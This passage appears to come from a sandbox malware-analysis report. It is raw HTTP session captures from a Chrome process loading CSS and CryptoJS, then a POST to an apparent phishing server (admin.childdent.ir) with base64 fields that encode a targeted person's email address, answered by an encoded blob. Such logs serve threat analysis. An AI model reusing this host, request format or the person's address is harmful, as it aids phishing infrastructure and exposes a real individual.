6f 64 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 Data Ascii: tent:"\f023"}.fa-flag:before{content:"\f024"}.fa-headphones:before{content:"\f025"}.fa-volume-off:before{content:"\f026"}.fa-volume-down:before{content:"\f027"}.fa-volume-up:before{content:"\f028"}.fa-qrcode:before{content:"\f029"}.fa-barcode:before{conte
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: 6e 74 65 6e 74 3a 22 5c 66 30 34 38 22 7d 2e 66 61 2d 66 61 73 74 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 39 22 7d 2e 66 61 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 61 22 7d 2e 66 61 2d 70 6c 61 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 62 22 7d 2e 66 61 2d 70 61 75 73 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 63 22 7d 2e 66 61 2d 73 74 6f 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 64 22 7d 2e 66 61 2d 66 6f 72 77 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 65 22 7d 2e 66 61 2d 66 61 73 74 2d 66 6f 72 77 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a Data Ascii: ntent:"\f048"}.fa-fast-backward:before{content:"\f049"}.fa-backward:before{content:"\f04a"}.fa-play:before{content:"\f04b"}.fa-pause:before{content:"\f04c"}.fa-stop:before{content:"\f04d"}.fa-forward:before{content:"\f04e"}.fa-fast-forward:before{content:
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: 65 2d 73 6c 61 73 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 30 22 7d 2e 66 61 2d 77 61 72 6e 69 6e 67 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 31 22 7d 2e 66 61 2d 70 6c 61 6e 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 32 22 7d 2e 66 61 2d 63 61 6c 65 6e 64 61 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 33 22 7d 2e 66 61 2d 72 61 6e 64 6f 6d 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 34 22 7d 2e 66 61 2d 63 6f 6d 6d 65 6e 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 35 22 7d 2e 66 61 2d 6d 61 67 6e 65 74 3a 62 65 66 6f 72 65 7b 63 Data Ascii: e-slash:before{content:"\f070"}.fa-warning:before,.fa-exclamation-triangle:before{content:"\f071"}.fa-plane:before{content:"\f072"}.fa-calendar:before{content:"\f073"}.fa-random:before{content:"\f074"}.fa-comment:before{content:"\f075"}.fa-magnet:before{c
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 39 35 22 7d 2e 66 61 2d 73 71 75 61 72 65 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 39 36 22 7d 2e 66 61 2d 62 6f 6f 6b 6d 61 72 6b 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 39 37 22 7d 2e 66 61 2d 70 68 6f 6e 65 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 39 38 22 7d 2e 66 61 2d 74 77 69 74 74 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 39 39 22 7d 2e 66 61 2d 66 61 63 65 62 6f 6f 6b 2d 66 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 66 61 63 65 62 6f 6f 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 39 61 22 7d 2e 66 61 2d 67 69 74 68 75 62 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 Data Ascii: before{content:"\f095"}.fa-square-o:before{content:"\f096"}.fa-bookmark-o:before{content:"\f097"}.fa-phone-square:before{content:"\f098"}.fa-twitter:before{content:"\f099"}.fa-facebook-f:before,.fa-facebook:before{content:"\f09a"}.fa-github:before{content
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: 22 7d 2e 66 61 2d 73 61 76 65 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 66 6c 6f 70 70 79 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 63 37 22 7d 2e 66 61 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 63 38 22 7d 2e 66 61 2d 6e 61 76 69 63 6f 6e 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 72 65 6f 72 64 65 72 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 62 61 72 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 63 39 22 7d 2e 66 61 2d 6c 69 73 74 2d 75 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 63 61 22 7d 2e 66 61 2d 6c 69 73 74 2d 6f 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 63 62 22 7d 2e 66 61 2d 73 74 72 69 6b 65 74 68 72 6f 75 67 68 3a 62 65 66 6f 72 65 7b 63 6f Data Ascii: "}.fa-save:before,.fa-floppy-o:before{content:"\f0c7"}.fa-square:before{content:"\f0c8"}.fa-navicon:before,.fa-reorder:before,.fa-bars:before{content:"\f0c9"}.fa-list-ul:before{content:"\f0ca"}.fa-list-ol:before{content:"\f0cb"}.fa-strikethrough:before{co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49714	104.17.24.14	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:55:24 UTC	526	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-11-28 15:55:25 UTC	964	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20 32 38 20 4e 6f 76 20 32 30 32 33 20 31 35 3a 35 35 3a 32 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 30 36 37 32 30 30 30 0d 0a 45 54 61 67 3a 20 57 2f 22 35 65 62 30 33 65 32 64 2d 62 62 37 38 22 0d 0a 4c 61 73 Data Ascii: HTTP/1.1 200 OKDate: Tue, 28 Nov 2023 15:55:25 GMTContent-Type: application/javascript; charset=utf-8Transfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Cache-Control: public, max-age=30672000ETag: W/"5eb03e2d-bb78"Las
2023-11-28 15:55:25 UTC	405	IN	Data Raw: 37 62 65 62 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7beb!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 Data Ascii: o&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==t
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: 61 72 20 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a Data Ascii: ar o=0;o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f Data Ascii: arse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._do
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: 2c 32 35 35 3d 3d 3d 69 3f 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 5d Data Ascii: ,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1]
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: 30 39 32 2b 28 65 5b 34 5d 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 Data Ascii: 092+(e[4]>>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+o*o,c=((4294901760&i)
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 Data Ascii: >>>6-o%42,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=42
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: 29 2c 53 3d 41 28 53 2c 6d 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b Data Ascii: ),S=A(S,m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: 69 2e 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 Data Ascii: i.clone.call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;retur

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49717	172.245.92.82	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:55:25 UTC	607	OUT	POST /installer/host2.4/5777440.php HTTP/1.1 Host: admin.childdent.ir Connection: keep-alive Content-Length: 151 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-11-28 15:55:25 UTC	151	OUT	Data Raw: 66 63 74 74 3d 62 57 46 30 64 47 4a 41 63 6d 52 32 59 32 39 79 63 43 35 6a 62 32 30 4e 26 64 61 74 61 31 31 3d 4e 41 3d 3d 26 64 61 74 61 32 32 3d 45 34 4e 6a 6b 79 26 64 61 74 61 33 33 3d 4d 54 63 77 4d 54 26 63 6f 6e 66 3d 65 79 4a 69 59 57 4e 72 49 6a 6f 69 5a 47 56 6d 59 58 56 73 64 43 49 73 49 6e 52 70 64 47 78 6c 49 6a 6f 69 5a 47 56 6d 59 58 56 73 64 43 49 73 49 6d 4e 68 63 48 52 70 62 32 34 69 4f 69 4a 6b 5a 57 5a 68 64 57 78 30 49 6e 30 3d Data Ascii: fctt=bWF0dGJAcmR2Y29ycC5jb20N&data11=NA==&data22=E4Njky&data33=MTcwMT&conf=eyJiYWNrIjoiZGVmYXVsdCIsInRpdGxlIjoiZGVmYXVsdCIsImNhcHRpb24iOiJkZWZhdWx0In0=
2023-11-28 15:55:26 UTC	507	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20 32 38 20 4e 6f 76 20 32 30 32 33 20 31 35 3a 35 35 3a 32 35 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 43 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 41 63 63 Data Ascii: HTTP/1.1 200 OKDate: Tue, 28 Nov 2023 15:55:25 GMTServer: ApacheExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheAccess-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueAcc
2023-11-28 15:55:26 UTC	7685	IN	Data Raw: 32 30 30 30 0d 0a 56 46 5a 46 63 6d 39 47 51 32 35 59 4e 57 35 53 56 46 64 50 4e 47 4e 74 59 54 42 34 4d 55 4e 35 61 54 4e 32 57 69 74 53 64 7a 4d 79 54 33 4e 69 65 44 6b 30 51 55 39 4e 57 54 68 78 64 6a 42 42 4d 6b 68 4d 62 56 4a 58 63 46 46 6a 56 6c 64 44 57 6a 4a 35 56 6c 4a 49 5a 31 56 58 62 57 78 72 51 30 4e 57 55 55 35 59 62 31 68 48 59 7a 68 42 64 45 67 33 51 53 74 36 59 6e 55 76 61 44 5a 58 4d 46 56 75 53 6c 4a 31 61 56 46 45 61 6e 64 4d 55 7a 63 30 51 30 5a 55 51 6c 46 6c 52 6e 46 33 62 31 4a 47 51 55 4e 4b 54 6b 68 55 55 6e 55 31 4d 33 6c 4a 4d 58 6c 30 4d 47 68 50 4d 6d 4e 76 65 6e 68 32 61 58 68 6a 52 32 46 54 4e 54 68 4b 51 56 4e 42 64 32 52 58 59 33 70 4e 54 30 77 72 4e 46 52 4f 62 6d 4a 46 4d 30 56 30 4d 32 4a 58 52 56 68 34 55 47 56 68 55 Data Ascii: 2000VFZFcm9GQ25YNW5SVFdPNGNtYTB4MUN5aTN2WitSdzMyT3NieDk0QU9NWThxdjBBMkhMbVJXcFFjVldDWjJ5VlJIZ1VXbWxrQ0NWUU5Yb1hHYzhBdEg3QSt6YnUvaDZXMFVuSlJ1aVFEandMUzc0Q0ZUQlFlRnF3b1JGQUNKTkhUUnU1M3lJMXl0MGhPMmNvenh2aXhjR2FTNThKQVNBd2RXY3pNT0wrNFRObmJFM0V0M2JXRVh4UGVhU
